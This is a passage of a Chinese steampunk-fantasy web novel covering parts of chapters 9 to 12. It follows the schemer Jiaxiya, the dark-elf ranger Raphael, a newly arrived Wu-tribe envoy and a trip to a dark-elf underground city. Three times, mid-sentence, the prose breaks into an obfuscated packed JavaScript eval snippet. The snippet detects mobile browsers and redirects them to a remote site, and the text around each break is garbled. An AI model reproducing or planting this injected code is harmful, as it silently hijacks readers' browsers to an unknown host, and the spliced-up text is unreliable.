他在加茜娅身旁走着,眉飞色舞地和她说起自己最近打的几场大架,帮哪个地头蛇干倒了哪个恶霸,又帮哪个倒霉蛋讨回了欠债。说到精彩处,脑子一热,让加茜娅帮他抱着几袋点心,自己拿起腰间的两用弩匕,左右演示。 “对了,你去哪?”他松开弓弦,忽然想起这事。 “我去蒸汽轨道车站,等最早的班车到北区中心。” 拉斐尔也不多问,就抬脚跟着她,边走边吃,边喋喋不休地聊天。 加茜娅乐得他给自己解闷,顺带解馋——在他的默许下,她也拼命地吃着。反正时间还早,她去了电车站也要等至少两个钟头,正好和这位刚破冰的老相识熟悉熟悉,探探情报。 车站离夜市不远,他们走了十来分钟,就看到了一条穿越烟囱林蜿蜒而来的铁轨,和一座灯火通明的露天站台。 加茜娅在刚开门的报刊亭买了最新的报纸,又往车站的手摇售票机里投入晶币,买好去北区中心的车票。 机械钟敲过四响,现在是温度极低的时候,天还不亮。 两人相距不远地坐在长椅上,加茜娅搓起手哈气,拉斐尔见了,也学她这样做,然后又把身上的外套裹紧一些,使自己看起来更加暖和。 尽管精灵对寒冷的体验没有人类那么深刻,但他觉得这样好玩。 加茜娅打开报纸浏览,他也凑了个脑袋在旁边看热闹。加茜娅读到要紧处,往往放慢速度,可拉斐尔却一视同仁地囫囵扫过,伸手去翻下一页。 “啪!”加茜娅打掉他的手,他也不生气,耐下性子看加茜娅在读什么。 “堪德雷特州内战结束,诞生少数族裔领袖。”拉斐尔念道,“这个地方我知道,几个部落争来争去,打了好几百年……最后谁赢了?” “巫族,你们的那个近亲族裔。”加茜娅回答。 “谁承认他们是精灵近亲了?”拉斐尔嘀咕了一句,显然不太高兴。 “巫”这个名字,在通用语里代表上古邪祟,精灵语里指的是“野蛮者”。总而言之,是一个数量稀少、鲜为人知的落后部族,只在精灵编年史里有过记载。听说,他们本来快要在堪州各部落吞并战中灭绝,只因出了个所谓千载难遇的“魔法天才”,近几年来竟逆转局面,成为最后的胜者。 加茜娅对魔法一窍不通,对魔法天才也没什么概念。她只是想起,阿纳鲁·蒙格马利之前正是驻守堪德雷特州的外派将领。不过,他的军队并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825897|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参与当地部族战争,只负责将影响范围缩到最小,不波及其它和平地段。 联邦中央不干涉各州事务,包括内战。 谁在领地争夺中胜出,谁,就能获得元老院议席,在联邦的权力中心为自己的族群发声。 因此,这个获得最终胜利、吞并了其它部落领土的巫族,即将派出一名代表来到中州,为成为议员做好准备。 “毫无背景的小族裔,估计来了也没那么快进元老院,还得经受一大堆的观察考验呢!”拉斐尔尖锐地评价。 加茜娅心里也这么想。新代表尽管前途光明,对她来说却是个不值得考虑的棋子。此人初来乍到,没钱,没背景,没人脉,总而言之没什么用。他们之间不会来得及有联系,也没必要有联系。 等这个幸运的家伙升任议员时,她可能正在生死逃亡,可能在牢里挨揍,也可能已化作一把枯骨。 加茜娅把眼睛闭上,报纸放到一旁,低声对拉斐尔说:“借我靠一下。等会儿车来了,我就走。” 拉斐尔向她挪了挪,离得更近。他正好也对这新闻没兴趣,开始津津有味地吃剩余的点心。 加茜娅转过去一点,侧着背斜靠在他手臂上,然后轻微地弓起身,像是要把自己环抱起来。 就在她低下头的那一瞬,她睡着了,毫无征兆。 拉斐尔没注意她,他忙着将纸袋里的最后一块奶油蛋糕塞进嘴,摇动着腮帮子,把五根手指都嘬了一遍。 这时候他才发现加茜娅发出了沉重的呼吸声。 很快,这声音就低不可闻了,因为风忽然大起来,刮得皮肤干疼,并把细碎的雪花吹聚到他们身上。长椅上也很快薄薄地积了一层。 拉斐尔后知后觉地戴上帽子,想了想,转过头,好心地伸出手,帮加茜娅也戴上。 她的长发垂落下来挡住脸,在风里乱纷纷地扬来扬去,反复扑打在他脸上,弄得他有点痒,又有点烦,还有点说不上的坐立不安。可如果真叫他站起来走远,又似乎太不讲情面。故而他僵住躯体,内心说服自己忍受这种躁动。 那半边的手臂很快就变得麻木了。 这对一名时刻需要保持机警的游侠来说,是大为不利的情形:除非他一只手也能顺利地抽出随身弩匕、击杀四面八方的刺客。 前者好说,后者……如何在一手揽着人的情况下飞来跃去、威风迎敌?这可是个技术活,人类肯定办不到,但精灵可以。拉斐尔瞎想了一会儿,很快又开始思考,下次加茜娅请客,他们应该点些什么。 大马迪拉岭产的红茶,黑焰火山庄园的岩浆豆磨的咖啡,有几家店做的都不错,带一点苦涩又富有层次,配蛋糕能多吃好几个。 正在他甩甩脑袋、抖落帽子上的雪水时,他听到远处遥遥地传来了蒸汽轨道机车“哐哧哐哧”行进的巨响,带得椅子和地面都微震起来。 零散的乘客纷纷从座位上站起身,扭头注视车来的方向。 一溜高亢的鸣笛声,随着翻滚的白烟直冲天际。就在那漫天风雪和蒸汽腾腾的混沌之中,两束尖锐的灯光刺穿出来,露出一个圆筒状的漆黑铁皮车头,在他们面前缓缓停下。 “检票!检票!有魔法师证的排在最后!”列车员下了车,高声喊着。 由于魔法元素的波动会使蒸汽机械停摆,故而在中州这个工业化程度极高的地方,任何种族的魔法师坐车前都要受到严格检查和问讯,即使是魔法学徒,出行也极为不便。上车后,他们还会被安排在单独的一节车厢,严加看管。 “我可不考那玩意儿,也从不坐车,就不跟着走了。”拉斐尔耸耸肩,“周末我在慈善诊所帮忙,你可以来找我。” 他站在加茜娅身旁,送她上车后,冲拿着魔纹检测棒的列车员翻了个淋漓尽致的白眼。未等对方反应过来,这位无礼的游侠就迅速离开,消失在茫茫烟气之中。 10.Chapter 10. 乡下来的 事实上,自长夜祭那日以后,加茜娅就开始感到阿纳鲁的疏远。 这疏远倒不是说回避接触,而是一种过分礼貌客气的态度。同时,也不再进行办公室会面以外的任何约会活动。 如果说之前她拿不准阿纳鲁的态度,那么现在,加茜娅几乎可以肯定,他多多少少发现了她的小动作,并怀疑她有所隐瞒。但他还是没有提族徽的事。 或许这就是利益同盟的力量。不分黑白,不辨好坏,所利于我,无不接纳。 加茜娅算好时间,卡在莫伯斯即将破解新数据之前,带着自己已经分析好的矿产定位图,又一次拜访了阿纳鲁位于中央公园大街楼上的办公室。 她适时地提起自己也想加入投资的事。不知是因为数据还是人情,她比想象中更顺利地提前支取了款项,并且拿到了管理经商牌照的人脉资源。他同意在下一次会面时,将负责人介绍给她。这便完全解决了雇佣兵任务上的难题。 接下来,他们就如何尽快扳倒莫伯斯盟友势力交谈起来。 “上次的刺杀,我不会轻易揭过。他在元老院有人,我在军部也有人。在中州非法走私魔导军火,这种事真追究起来,那帮老头子可不好糊弄。即便只是元老院的保守党知道了,也够他受的。”阿纳鲁冷笑一声。 “莫伯斯能这么大胆,背后必然有无数势力支持。他敢刺杀你,就不怕你摸着这条线索去查他。即使证据充足,若一击未毙,反而可能遭到更多报复。” 加茜娅提着曳地裙,像一条蛇那样游移地向前两步,凑近他:“说起来,我倒有一个不错的主意。” 她轻抬起臀坐上办公桌的一角,先将莫伯斯和暗精灵、元老院、军部、大法院之间所牵涉的各派势力梳理透彻,再丝丝缓缓地吐露出一个绝妙阴狠的计划。 阿纳鲁两手交握放在膝上沉思片刻,忽然抬眼望向她,仿佛又一次重新认识她。 他长久注视着她的眼睛,然后,不明缘由地叹了口气。 “加茜娅,你很聪明,很有手段。你很厉害。”他第一次这样直白地说出了评价,然后靠到椅背上,有些疲惫地捏了捏鼻梁,“我很庆幸没有与你为敌。” 加茜娅一怔,突然感觉,两个人之间似乎有什么东西发生了变化:变得一切都明明白白,这回真的没有任何暧昧不清的地方。 她没来由的有点怅惘,但很快就将这种不愉悦压下去,归结为原计划被看穿而带来的扫兴。 阿纳鲁英俊、体贴,现在看来也很有钱,是一个不错的情人形象。他甚至可能坐上蒙格马利家族的家主之位,在军部和元老院两大权力漩涡里游走自如。届时的他,还会成为联邦最热门的女婿人选。 然而身处绝境中的人,本来也没有谈情说爱的心思。 她一路从低谷向上爬来,遇到过数不尽的机会、诱惑去沦陷于感情。倘若她真松一口气跌下去,现在的境遇恐怕更惨。 带着这点微不足道的失落,加茜娅依旧微笑:“既然我们都清楚彼此的目的,那就轻松多了。唯一要注意的是,别让人怀疑我们接触的动机。” 阿纳鲁没接话,看着窗外,手搭在椅子扶手上,无意识地轻拨那上面雕刻的花纹印痕。 “我有点好奇……只是我私人的问题。”鬼使神差的,他忽然开口。 “我很乐意解答。”加茜娅十分平静。 他停下手中动作,可食指却紧紧扣在花纹凹槽里。 外头刮起风来,拍打窗框,身后壁炉里毕毕剥剥地跳动火星。幽甜的松脂香很宁静地环绕着他们。 “……算了,也没什么好问的。”他放开扶手,坐直身体,重新双手交握着放在桌上,“如你所说,这样就很好。” “如果你想问我背后有没有人,我无可奉告。不过,请相信,我不会伤害到你。”她认真声明。 “我不想问这个。”他有些烦躁,但也没多说,拿出香烟,将烟盒往桌上一抛,头一回当着她的面,开始毫无忌惮地吞云吐雾。 两人静默一瞬,加茜娅起身去沙发上拿自己的手提包。 “我想,我应该挽着你的手出门?”她在门口问。 很罕见地,阿纳鲁闭着眼没理她。 她走过去,重新坐在他面前的办公桌上,只是这次离他更近了,俯下身子,伸手摘掉他嘴里的香烟:“报纸上有一篇最新研究,说吸烟有害健康。” “最后一点,我替你。”说罢,她拿中指和无名指夹着烟,自己抽了一口,撵灭在桌面的烟灰缸里。她咳嗽起来,灭烟的姿势不大熟练,将自己还烫了一下,迅速地缩回手,下意识将食指含进嘴里。 “走吧。”阿纳鲁像是猛地惊醒一般,别开眼,站起身,从椅背上捡起风衣,三两下就穿好。 加茜娅追着他逃难似的脚步出门。挽起他胳膊时,能感觉到格外明显的僵硬。脚步也比以往更快。 到了楼下,司机打开车门,她才刚松开他,他便立刻抽回手。 ……希望这种不自然,没有被别人发现。加茜娅有些无奈。 返回家中,加茜娅立刻开始检索自己的“情报盒”,整理所有关于暗精灵地下城的片段。 想起同阿纳鲁提起的那个计划,她感到一种布网围猎般的畅快。而想到莫伯斯以外的那些正逍遥快活的仇家,她又恨得牙痒痒,仿佛身处一个不透光的灯偶笼子里,拼尽全力也看不清外边那些戏弄她的人是谁。 但无论时间还剩多少,事情只能一步一步来。加茜娅反复提醒自己。 她再度翻开早上新送来的报纸。 这一次迎面撞来的,又是那个堪州来的新代表的大字新闻。加茜娅本想快速翻过去,眼神却在触碰到“资源署”三个字时停顿下来。 那条新闻的大意是,由于军部和元老院都想抢人,新代表将在资源署外派处临时就职,接受任务测试,并最终决定他去向哪里。 这是加茜娅闻所未闻的情况。通常来讲,任何种族部落代表来到中州后,如果本身没有人脉资源关系,的确会先挂职在元老院下属的某个部门,但只是做些不重要的事,等待政治考核和议员升任的通知。 可这一次,军部居然会掺进来要人?难道让巫族再派一个人当议员吗? 她想起前段时间看到的“魔法天才”的传闻,暗自惊讶:得是什么样的厉害人物,才能让两方都想控制在手?要知道,军部本身就拥有数量庞大的各族军团,分布于联邦七州。其中能力超群者数不胜数。 现在,虽然未有记者拍到照片,但这个新代表在她心中的形象却是格外可畏起来;联系起精灵编年史里“野蛮者”的相关记载,加茜娅想:大概是一头庞大如巨魔的恐怖怪物! 但她很快就在资源署大厅二楼围观时,否定了这个想法。 这天是个再普通不过的工作日,但对于资源署许多人来说,又是个难得的看热闹的日子,尤其是传闻中那个原始地域来的新奇同事。 这场热闹的中心,已经站在大厅一楼的中央。负责引介的人事干部,一位绿色皮肤的木精灵,正带着他到各处参观讲解。 从他进门开始,二楼三楼的栏杆边就站满了伸着脖子围观的职员。 有人悄声议论:“那就是新来的堪州代表吧?听说是从巫族部落里直接提拔的,名字好像叫什么卢克西斯,挺奇怪。” “他穿成这样不冷吗?那挂着的是剑?骨头?魔法材料?怎么过的安检!” “楼下的护卫看起来不太敢靠近。” “我看他们的样子不是害怕,而是嫌弃……” 加茜娅站在二楼的人群中间,扶着栏杆往下望:那是一名很高挑的异族少年,年纪类似于人类的十六七岁,并没有传闻和想象中那样可怕。 他面容瘦削,高鼻深目,浓眉直挺,看着是硬朗做派。蜜色皮肤,深棕短发,尖长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849765|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳朵标志了精灵远亲的特征。一侧耳廓打满金属小环。最引人注目的,是那双明亮异瞳,左眼是琥珀金,右眼是掺着暗褐的龙鳞绿。 一身打扮颇具矛盾感,说不清原始还是现代,抑或是某种未知的时尚。虽穿着崭新的马裤军靴,上身却只潦草地斜挂一条雪狼皮,露出半边伤痕交叠的胸膛与肌肉紧绷的手臂;腰上配了把短剑,以镶钻石的皮革剑鞘包裹,随走动而前后轻晃。 一起摇晃并发出清脆撞击声的,还有他脖颈、腰间、手脚腕悬挂的骨牙坠和符文石链。 ——与报纸所言的法师形象很不一样,更像是使用附魔武器的近战剑士。 在加茜娅印象里,联邦雇佣的专职法师一般都拄半人高的魔杖。他们对魔法元素的控制和施放,离不开魔杖的扩大化加持。没了魔杖,高阶魔法师也很难放出大范围攻击法术。 不知这家伙用起魔法会是什么路数。加茜娅难得有些好奇。 楼下的少年昂着下巴走路,目不斜视,看起来倒丝毫没有与周围环境格格不入的自觉。木精灵停下讲解时,他就礼貌而矜持地颔首,也不问任何问题,仿佛对这里未曾见过的一切都不好奇。 过了会儿,木精灵似乎是有什么事,临时被叫走,嘱咐他留在原地稍作等候。这时候,这位名叫卢克西斯的巫族少年,才开始不动声色地四处打量。 他所在的位置周边空了一圈,假意路过的职员们并不愿接近,这时看他目光扫来,都尴尬地点头笑笑,手上文书任务忽然变得十万火急起来,牵着他们快速拔步离开。 卢克西斯身前不远处是一座半米高的大型资源识别器,中央晶石台面刻满符文,用于核验矿石或其他资源的来源与合法性。 他以为那是和门口魔纹感应台一样的安检机制,竟然走过去,将随身的武器短剑放了上去。显然,这玩意毫无反应,并不派这个用场。 围观群众都皱起眉,低声地议论起来。 “噗!”加茜娅笑了,她已经很久没有见过这么好玩的事。 卢克西斯听见了很多声音,魔纹感应台的低频嗡鸣,头顶各类机械运转声,设备嘶嘶的排气声,杂乱的议论声,她的笑声。 从原始部落踏入工业大厦的少年,在这个齿轮滚滚、蒸汽腾腾的迷幻午后,心有所感般抬起头,只见资源署金碧辉煌的高楼之上,阳光透过穹顶打下来,落在一名女子光白的脸颊上,那双黑琉璃眼睛里星河淌动。 她站在人群前列,嘴上涂了油润晶亮的粉红唇彩,笑得太开心,以至于齿珠上也沾染一抹,明丽摇曳。近在咫尺,又似不可触及。 他觉得自己大概是被刺鼻的机油气息和滚热的蒸汽熏晕了,因此一动不动地站了好半天,才想起竟有这么多人在看他,包括她。 之前恶补过的礼仪课一下涌入他脑海。卢克西斯无意识地笑了下,学着中州的习惯,抬起手做出打招呼的姿势。并且是在来时的大街上见过的,打扮时髦的绅士靠在汽车上,曲起一条腿搭在另一条腿上的那种。 但卢克西斯忘了,身后那架机器上还摆着别人暂存的一篮黄晶石矿。就在他靠过去,手肘也放上去的那一刹,篮子被打翻,晶石矿稀里哗啦的掉落满地。这种晶石质性极脆,一接触地面就碎成无数残渣。 他立刻俯下身,手忙脚乱地去捡晶石碎片,也不顾尖锐刺角的锋利。 二楼,米拉闻着风声赶来看热闹,眼尖地钻到加茜娅身旁,拍一下她:“可找到你了!笑什么呢?也不喊我一起。” 加茜娅放低声音:“就是咱们之前说的,那个堪州野蛮部落的代表。” 米拉往下一看,忍不住也笑出声:“我的天,这什么装扮?不愧是乡下来的。” 人声嘈杂,加茜娅不觉得他能听清,因此也捧场地应和道:“是啊。” 卢克西斯的尖耳朵动了动,肉眼可见地转红。 这一次,他没有再抬头。 11.Chapter 11. 地下城 “加茜娅,联邦成立了‘数据泄露案’秘密调查组,他们中的一部分人已潜入资源署,另一部分,将随同下批外勤队共同执行西高地矿山勘测任务。” “你将会在五天后接到外勤委派,并在半个月后坐上前往西地边境的飞艇。找出调查组暗线,秘密处理。否则,他们会处理你。” 信纸背后符文一亮,蓝色火焰自动燃起,发出“嘶嘶”的元素能量蒸发声。一切不可告人的讯息在加茜娅手里无声地化作灰烬。 她明白,自己剩下的安全时间再度缩水,只余最多一个月。弃子之局已定。 所幸,她有一个灵活的脑子和几近变态的执行力,能够不眠不休、交叉从事多线任务,资源署的秘密工作、与阿纳鲁合作的针对莫伯斯派系的报复行动、兽人雇佣兵方面退路安排的联络指引…… 但事情总是好坏参半。 坏消息是,针对幕后交易者的名单调查陷入僵局,她曾想从蜡烛香气中的永夜兰基调查起——米拉所钟情的佛罗亚香水公司,正是以这种独家专供的香料闻名,可市面上同类仿品众多,无法保证源头到底来自哪里。如果不尽快得到更多名单,她就无法在一个月内顺利布局,完成全面报复。 好在,其他几条并行任务线总体进展顺利。眼下需要先从暗精灵地下城入手,获取更多有关走私魔导军火的情报。 加茜娅抿了一口红茶,将带有半枚唇膏印记的茶杯放在桌上,微笑着抬起头,看向刚刚落座的拉斐尔。 他和上次见面时的打扮很不一样,日常黑袍换作修身的深蓝燕尾外套,胸口点缀一枚翡翠树叶别针,袖边金线刺绣绘着暗精灵族符文,流光细闪。 然而这位崭新的游侠先生并未留意她的注视,正兴致勃勃地翻看应季上市的甜品菜单。 很快,小小的圆桌就堆满各式点心:莓果挞上挤满绵密而富有弹性的奶油,左右轻晃;栗子蛋糕的硬壳微微开痕,棕色甜酱汩汩流出;肉桂茶布丁的焦糖层脆薄剔透如琥珀,一匙即裂。 拉斐尔有一副气吞山河的好胃口,只埋头苦吃。加茜娅志不在此,但考虑到此行开销不小,她难得放纵自己,与对面的老饕竞起食速。 他们坐在满店闲聊的顾客之间,一言不发地解决完所有食物,同时向椅背一靠。加茜娅趁拉斐尔心情不错,东扯西拉地同他聊起天。 “你想跟我去地下城?为什么?”拉斐尔稍稍收敛了笑意。 加茜娅从手提包里取出一枚镶嵌着乳白色月光石的戒指,起身递给他。这枚戒指来源于一桩走私案件的扣押物,原本被堆放在资源署待处理废弃品仓库中,被标记为普通的暗精灵饰品,是她利用米拉的高级权限才检索到的。 “有人给我寄了一封信。”她撒谎道,“我不知道是谁,但那人说自己正遭遇追杀,请求我保存好这枚戒指,交给任何一个没有参与影子同盟的暗精灵。” 拉斐尔举着戒指,凑到眼前左右转动:“我确实讨厌影子同盟,那是一帮唯利是图的家伙。月光石上有火药爆炸痕迹,难道是走私者的遗落物?你懂的,这种事情太多了,戒指主人想必早就凶多吉少。” 他揭开月光石盖子,发现底下隐藏着细小而繁多的齿轮结构,凹凸紧扣、环环相咬,并且刻满微型魔法符文。角落之处,藏有一个隐蔽的代号签名,只有熟悉地下城工匠的暗精灵才能识别。 “有点意思噢。这是魔导武器,但已经被损坏了,废品一个。” 他总结完毕,玩似的把戒指一抛,恰好落在空碗里“叮铃”盘旋。 “拉斐尔!”加茜娅倾过身,“我听说暗精灵工匠技术高超,修复魔导武器不在话下。我想看看这枚戒指完整的样子,说不定能弄清背后主人的故事?” “我的确认识几个这样的工匠,也可以介绍你认识。但地下城对你来说……你不会适应那种地方的。”不知想起什么,他似乎很不乐意地皱了下鼻子。 “如果不搞清楚这件事——它的主人说自己正受到追杀,万一我也被牵连了怎么办?”加茜娅没想到,拉斐尔竟然一反常态地不管闲事!她只能另起话题,尝试用自己的安危来说服他。 拉斐尔抬起浅银色的眼睛与加茜娅对视,那里面没有平时的轻浮姿态,仿佛在探究她话语的真假。 “我可以代你跑腿……如果你乐意告诉我住处的话,作为朋友,我愿意到附近待一段时间,保护你。你相信我的实力吧?”他抱着手臂,昂起下巴扬一扬眉。 加茜娅放在桌下的手捏紧裙子,又松开。 “可那是你长大的地方,对吗?”加茜娅轻声细语,“如果你拿我当朋友,那我们交换地址、互相了解,如何?” 拉斐尔沉默不语,但她注意到他的尖耳朵正轻微颤抖。 ——他显然对这一提议很是心动。 加茜娅明白了自己该以什么态度、从什么角度继续说服他,暗中松一口气,再次挂上温柔的微笑。 当天深夜,她跟随拉斐尔,前往暗精灵地下城。 那是一个潜藏在北区贫民窟工人码头附近的秘密地点。从人来船往的渡口下来,进一条狭窄暗巷,沿途堆满破烂货箱、废弃的机械零件,四处弥漫着铁锈味的浓雾。使用位移术的黑影们从身边一闪而过,这些是暗精灵。 拉斐尔因为带着个不通魔法的人类,只能在坑洼的泥水地上慢吞吞地前进。尽管如此,他还是要经常停下来,不耐烦地催促加茜娅。 “大小姐!我只用了十分之一的速度!”他从五米远处瞬间移了回来,又移动过去,乐此不疲,像卡帧频闪的录像带画面。 加茜娅强忍着翻白眼的冲动,在泥地里一陷一拔地往前挪。 地下城入口是一座废弃货仓。拉斐尔走到紧锁的铁门前,背对着加茜娅,侧过点身,冲她伸出手。 “干什么?”加茜娅问。 “不是我想牵手,但你没有魔法怎么进去?”他语气几乎有些冲。 加茜娅一时不知该说什么好。她将手轻轻地搭在拉斐尔掌心里,那触感冰凉而粗糙,令她想起水底卵石上丛生的苔藓。 他抓紧她,瞬间发动了位移术。 只是一念间的工夫,似有什么电流掠过全身。加茜娅还未反应过来,便听到轰响的水流声——那是地下暗河,也是暗精灵城的护城河。 紧接着,又是两道电流过体。她眼前有些发黑,几乎要站不直身子。 “这些是魔纹屏障,忍忍吧。”拉斐尔说。 自从牵了手,他似乎话少了许多,也不再跟个神经病一样跳来跃去。 经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868758|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五六道屏障后,加茜娅两腿发软地睁开眼。她紧紧攥着拉斐尔,指甲几乎无意识地掐着他。拉斐尔没作声,任由她靠着自己。 暗精灵地下城就在眼前。这是一座由多层洞穴迷宫组建的魔导机械城市,钢筋铁架的建筑物或矗立或悬挂在岩壁上。此地不流行蒸汽机,以魔法作为源动力,空气格外阴冷。 加茜娅仰起头,望见那蜂窝般稠密的建筑间,悬挂着千万盏盈盈点点的青绿色魔导灯。她的目光移下来,看到拉斐尔转动着银眼珠,冲她意味不明地笑了下:“说好了,等会看到什么都别太惊讶。” 她很快就明白了拉斐尔为什么讲这话。 走过一架齿轮驱动的巨大吊桥后,地形变得崎岖不平,爬升与下降都在转眼之间,她必须靠拉斐尔时不时拽一把才能避免失足。工匠区位于整座城的最底部,他们需要穿过所有主体建筑才能抵达。 街道两边渐渐热闹起来,但这热闹并非中州地面上的商客来往,而是形形色色的暗精灵男女在“招揽生意”。在地下城魔导灯的光照下,他们调笑着用手抚摸大片青灰色的皮肤,仿佛无鳞蛇一般柔软的躯体攀附在墙上、地底藤蔓上、彼此身上,一切枝叶都在摇晃招展。 加茜娅自认为是“见过场面”的人,能够冷静面对这自由奔放的暗精灵文化。然而,为了避免拉斐尔起疑,她先装作略微不适的样子,低着头走路。 “拉斐尔!你这小杂种!好久没来喝酒了!这回终于找了个姘头?喔喔喔我就说嘛——原来你喜欢人类啊!够带劲!” 大笑声从头顶传来,一名穿着斑驳皮甲的肥胖暗精灵男子,嘴里叼着根烟卷迎了上来。他身后跟着几名奇形怪状的精灵族青年,原本东倒西歪如风暴过境的麦子地,此时见了加茜娅,忽然挺直腰杆,不约而同地吹起口哨。 拉斐尔松开加茜娅,熟练地抱着手臂歪头笑起来,也学他们一肩高一肩低,两步三摇地走去:“我说呢,怎么老远的就听见臊猪叫唤,原来是你们这帮老**在聚众撒欢!”他稍稍正了神色,“不过老子这次要去工匠层,有正事办,喝不了酒,回来再把你们一个个干倒!” “正事?”那精灵笑道,“带个漂亮的人类小妞进城,还说是正事?”说罢,他的狐朋狗友们皆捧腹大笑。 “说起来,泽诺那家伙回来了!你找工匠,为什么不找他?”一名暗精灵青年忽然提道。 “他?”拉斐尔似有迟疑,“他不是被暗河征召过去,干大买卖了?” 暗河。加茜娅心中一凛,这是她调查过的暗精灵黑话,指代影子同盟。 “嗨,刚回来!”那精灵一摆手,“还跛了条腿!你真不去看看啊?” 拉斐尔侧过头,似乎想看向加茜娅,但张着嘴仍在犹疑。 加茜娅心里刚琢磨完要如何自然地融入这个群体,打听最真切的消息,此刻立即瞥他一眼:“既然都来了,为什么不喝几杯,我也好和大家交个朋友?” 说罢,她松快地贴近拉斐尔,主动伸手挽住他,扬起脸大大方方地笑望着他们。 拉斐尔愣在原地,大脑空白,万没想到她会有如此亲密举动。 “不错!”为首的胖精灵挑眉大笑,“这姑娘比你有趣多了。拉斐尔,老实交代,是不是为了骗她才装得这么正经?” 12.Chapter 12. 机械师 熔炉的火光映出一张瘦而长的面容,头发稀疏,颧骨高耸,鼻子尖挺,皮肤灰暗干枯如紧绷的皮革,半边脸上布满肉筋疤痕,一双黑眼珠埋在深深的眼窝阴影中,劲肌虬结的手臂上戴着圆锤和双头镐。 这就是他们一直在谈论的泽诺,暗精灵所有种类工匠中,地位最高的魔导机械师。 加茜娅跟着拉斐尔走进车间,见到他时,他正驼着背坐在一众鼓炉锻造的铁匠之中,专注地给自己的机械手指上油,身旁是杂乱的零件与碎矿石,工作台上堆满装各种成分的烧杯烧瓶。 仔细看去,他的左腿和左手四根手指皆无血肉,泛着冷硬的金属光泽。 “泽诺,看看我们带谁来了?拉斐尔!还有一位他的人类情人!”名为鲁格巴的胖精灵走上前去,两只宽大的手里抓了四五瓶黑麦啤酒,往泽诺的工作台上沉沉一放。 “萝拉呢?”鲁格巴问。萝拉是泽诺的小女儿。 “在病房,她疟疾发作了。等我工作结束,得去陪她。”泽诺说着,抬起头看一眼拉斐尔,点了点头算是打过招呼,再轻飘飘地转到加西娅身上。 看见是个人类女孩,他并不太想搭讪,低下头,用突起的钢铁指关节撬开啤酒瓶盖。 “这就是他们说的,你的老朋友泽诺?”加茜娅悄悄问。 “对……我有时候觉得,泽诺比我那个同父异母的白精灵哥哥洛瑟,更像哥哥。毕竟我们相处的时间更久些。”拉斐尔拿手肘边缘架在加茜娅肩膀上,低声向她介绍,“他有十五个孩子,死了十二个,两个不见了,还有一个女孩……很吃惊吗?在这里是常事,就跟吃饭喝水一样。暗精灵是受诅咒的族裔。他们几个都有过孩子,但都没活下来。” 加茜娅想说,这在中州,尤其是济贫院里也是常事。看起来,不分族裔地域、激进的魔法派或者温和的改良派,也不管是在奥瑞恩联邦还是在伟大卓尔王治下,贫民的事哪里都一样。 她不动声色地敛住裙摆坐在地上,在拉斐尔的狐朋狗友们之间,也接过大杯啤酒,一边听他们大声聊天叙旧,一边观察周围: 这里是暗精灵地下城黑湖底部的工匠区,一个巨大的开放式的空旷洞穴,东西南北四个方向都有上下台阶,他们方才正是沿着西面阶梯盘旋走下,沿路都是卖黑麦啤、能量剂和各种熏肉面包的摊铺。这里温度格外高,各处设有大型烤箱和熔炉,密布着繁杂的工作台。 除暗精灵以外,还有一些服务于各族采矿公司雇主的地底矮人,整颗脑袋埋藏在厚密的毛发中,肌肉浑圆而壮实,正唱着歌、整齐地沿着交错的轨道路线拉动矿石推车。整个工匠区各司其职、气氛忙碌,充满滚轮声、矿石砍凿声和金属切割声,需要扯着嗓子喊才能聊上几句。 所有这些地底工匠,为整个暗精灵地下城和地上雇主们开发地心胶木、秘金秘银及铜铁煤炭,也包括制作精密的机械装置,矿石饰品和武器头盔。 加茜娅并非头次见到声势浩大的开矿场面,但也颇震撼地看了好一会儿。 “怎么样?被那些毛茸茸的家伙吓到了?”拉斐尔的声音拉回了她的思绪。他打了个荡气回肠的酒嗝,酒气喷洒在加茜娅脸侧。 “很壮观。”她并无介意神色,只是笑笑,举起酒杯与他们一碰,仰头饮下。 “不错!不错!这个人类很合我胃口!拉斐尔有眼光!”鲁格巴大笑。 自从被他的精灵同伴们调侃过后,拉斐尔就比原先还放纵十倍,大手大脚地坐在加茜娅旁边,浮动着泡沫的啤酒从他杯口和嘴角流下。他和所有带情人聚会的暗精灵一样,一只手勾搭在加茜娅肩背上,同她靠得很近,样子亲密。 “她是我见过,最像白精灵的人类。”一名精灵同伴艳羡地看着拉斐尔。 此话一出,原本正咧嘴笑着的暗精灵们忽然变了神色,静默瞬息。 “你在说什么?白痴!难道暗精灵不漂亮?再说!看她这样子,也不像那些虚伪的家伙。”旁边的精灵推他一下。附和声四起。 拉斐尔适时地引开话题:“别提他们了!我们不是在说泽诺的事吗?” “刚才讲到哪来着?泽诺说的,暗河在剥削那些工匠对吧?他们应该认罪!” 